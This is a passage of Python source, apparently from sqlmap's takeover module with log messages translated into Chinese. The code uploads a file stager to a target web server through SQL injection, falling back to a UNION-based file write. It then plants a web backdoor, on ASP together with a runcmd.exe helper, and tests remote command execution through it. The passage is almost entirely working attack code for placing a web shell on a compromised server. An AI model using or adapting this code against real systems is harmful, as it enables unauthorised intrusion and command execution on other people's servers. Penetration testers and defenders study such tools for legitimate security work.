                                                     stagerName)
                debugMsg = "尝试查看该文件是否可以从'%s'访问" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
                                                direct=True,
                                                raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # 退回到UNION查询文件上传方法
            if not uploaded:
                warnMsg = "无法在'%s'中上传文件" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "尝试通过UNION方法将文件上传到'%s'上" % directory
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
                                                self.webApi)
                    self.webStagerFilePath = posixpath.join(
                        ntToPosixSlashes(directory), stagerName)

                    handle, filename = tempfile.mkstemp()
                    os.close(handle)

                    with open(filename, "w+b") as f:
                        _ = decloak(
                            os.path.join(paths.SQLMAP_SHELL_PATH,
                                         "stager.%s_" % self.webApi))
                        _ = _.replace(
                            "WRITABLE_DIR",
                            utf8encode(
                                directory.replace('/', '\\\\') if Backend.
                                isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename,
                                        self.webStagerFilePath,
                                        "text",
                                        forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (
                            conf.scheme, conf.hostname, conf.port,
                            directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(
                            self.webBaseUrl, stagerName)

                        debugMsg = "正在尝试查看文件是否可以从'%s'访问" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
                                                        direct=True,
                                                        raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "文件stager上传在'%s', " % directory
                warnMsg += "但不动态解释"
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(
                    EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(
                    VIEWSTATE_REGEX, uplPage)

            infoMsg = "文件stager已成功上传到'%s' - %s" % (directory,
                                                   self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(
                    r'input type=hidden name=scriptsdir value="([^"]+)"',
                    uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName,
                                  backdoorDirectory,
                                  content=backdoorContent.replace(
                                      "WRITABLE_DIR",
                                      backdoorDirectory).replace(
                                          "RUNCMD_EXE", _)):
                    self.webUpload(_,
                                   backdoorDirectory,
                                   filepath=os.path.join(
                                       paths.SQLMAP_EXTRAS_PATH, "runcmd",
                                       "runcmd.exe_"))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
                                                             backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName,
                                      posixToNtSlashes(directory) if
                                      Backend.isOs(OS.WINDOWS) else directory,
                                      content=backdoorContent):
                    warnMsg = "后门没有通过file stager成功上传,"
                    warnMsg += "这可能是因为运行Web服务器进程的用户没有权限"
                    warnMsg += "在运行DBMS进程的用户文件夹中上传文件,因为没有写入权限,"
                    warnMsg += "或者因为DBMS和Web服务位于不同的服务器上"
                    logger.warn(warnMsg)

                    message = "你想尝试使用与文件stager相同的方法? [Y/n] "

                    if readInput(message, default='Y', boolean=True):
                        self._webFileInject(backdoorContent, backdoorName,
                                            directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(
                    ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(
                ntToPosixSlashes(directory), backdoorName)

            testStr = "命令执行测试"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "后门已经上传,但缺少运行系统命令的必需权限"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "后门已经成功 "
            else:
                infoMsg = "后门可能已经成功 "

            infoMsg += "上传到'%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break